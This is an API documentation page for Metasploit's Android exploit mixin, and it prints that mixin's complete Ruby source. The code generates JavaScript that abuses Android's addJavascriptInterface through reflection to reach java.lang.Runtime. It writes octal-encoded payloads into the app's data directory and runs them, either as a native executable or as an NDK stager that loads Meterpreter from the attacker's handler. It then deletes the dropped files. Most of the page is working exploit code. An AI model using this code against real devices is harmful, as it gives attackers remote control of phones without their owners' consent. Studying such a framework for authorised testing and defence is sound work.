Module: Msf::Exploit::Android

Defined in:
lib/msf/core/exploit/android.rb

Constant Summary collapse

SUPPORTED_ARCHES =

Since the NDK stager is used, arch detection must be performed

[ ARCH_ARMLE, ARCH_MIPSLE, ARCH_X86 ]
DEFAULT_ARCH =

Most android devices are ARM

ARCH_ARMLE
NDK_FILES =

Some of the default NDK build targets are named differently than msf’s builtin constants. This mapping allows the ndkstager file to be looked up from the msf constant.

{
  ARCH_ARMLE  => 'armeabi',
  ARCH_MIPSLE => 'mips'
}

Instance Method Summary collapse

Instance Method Details

#add_javascript_interface_exploit_js(arch) ⇒ Object

[View source] [View on GitHub]

20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
# File 'lib/msf/core/exploit/android.rb', line 20

def add_javascript_interface_exploit_js(arch)
  %Q|
    function exec(runtime, cmdArr) {
      var ch = 0;
      var output = '';
      var process = runtime.exec(cmdArr);
      var input = process.getInputStream();

      while ((ch = input.read()) > 0) { output += String.fromCharCode(ch); }
      return output;
    }

    function attemptExploit(obj) {
      // ensure that the object contains a native interface
      try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; }

      // get the pid
      var pid = obj.getClass()
                   .forName('android.os.Process')
                   .getMethod('myPid', null)
                   .invoke(null, null);

      // get the runtime so we can exec
      var runtime = obj.getClass()
                       .forName('java.lang.Runtime')
                       .getMethod('getRuntime', null)
                       .invoke(null, null);

      #{payload.arch[0] == ARCH_DALVIK ? stager_js(arch) : linux_exe_js(arch)}

      return true;
    }

    for (i in top) { if (attemptExploit(top[i]) === true) break; }
  |
end

#linux_exe_js(arch) ⇒ Object

[View source] [View on GitHub]

91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
# File 'lib/msf/core/exploit/android.rb', line 91

def linux_exe_js(arch)
  platform_list = Msf::Module::PlatformList.new(Msf::Module::Platform::Linux)

  %Q|
    var payloadData = "#{Rex::Text.to_octal(payload.encoded_exe(arch: arch, platform: platform_list), '\\\\0')}";

    // get the process name, which will give us our data path
    // $PPID does not seem to work on android 4.0, so we concat pids manually
    var path = '/data/data/' + exec(runtime, ['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']);
    var payloadPath = path + '/#{Rex::Text.rand_text_alpha(8)}';

    // build the library and chmod it
    runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+payloadData+'" > '+payloadPath]).waitFor();
    runtime.exec(['chmod', '700', payloadPath]).waitFor();

    // run the payload
    runtime.exec(['/system/bin/sh', '-c', payloadPath + ' &']).waitFor();

    // delete dropped files
    runtime.exec(['rm', payloadPath]).waitFor();
  |
end

#ndkstager(stagename, arch) ⇒ Object

The NDK stager is used to launch a hidden APK

[View source] [View on GitHub]

115
116
117
118
119
# File 'lib/msf/core/exploit/android.rb', line 115

def ndkstager(stagename, arch)
  stager_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2012-6636", NDK_FILES[arch] || arch, 'libndkstager.so')
  data = File.read(stager_file, mode: 'rb')
  data.gsub!('PLOAD', stagename)
end

#stager_js(arch) ⇒ Object

[View source] [View on GitHub]

57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
# File 'lib/msf/core/exploit/android.rb', line 57

def stager_js(arch)
  stagename = Rex::Text.rand_text_alpha(5)
  %Q|
    // libraryData contains the bytes for a native shared object built via NDK
    // which will load the "stage", which in this case is our android meterpreter stager.
    var libraryData = "#{Rex::Text.to_octal(ndkstager(stagename, arch), '\\\\0')}";

    // the stageData is the JVM bytecode that is loaded by the NDK stager. It contains
    // another stager which loads android meterpreter from the msf handler.
    var stageData = "#{Rex::Text.to_octal(payload.raw, '\\\\0')}";

    // get the process name, which will give us our data path
    // $PPID does not seem to work on android 4.0, so we concat pids manually
    var path = '/data/data/' + exec(runtime, ['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']);
    var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so';
    var stagePath = path + '/#{stagename}.apk';

    // build the library and chmod it
    runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+libraryData+'" > '+libraryPath]).waitFor();
    runtime.exec(['chmod', '700', libraryPath]).waitFor();

    // build the stage, chmod it, and load it
    runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+stageData+'" > '+stagePath]).waitFor();
    runtime.exec(['chmod', '700', stagePath]).waitFor();

    // load the library
    runtime.load(libraryPath);

    // delete dropped files
    runtime.exec(['rm', stagePath]).waitFor();
    runtime.exec(['rm', libraryPath]).waitFor();
  |
end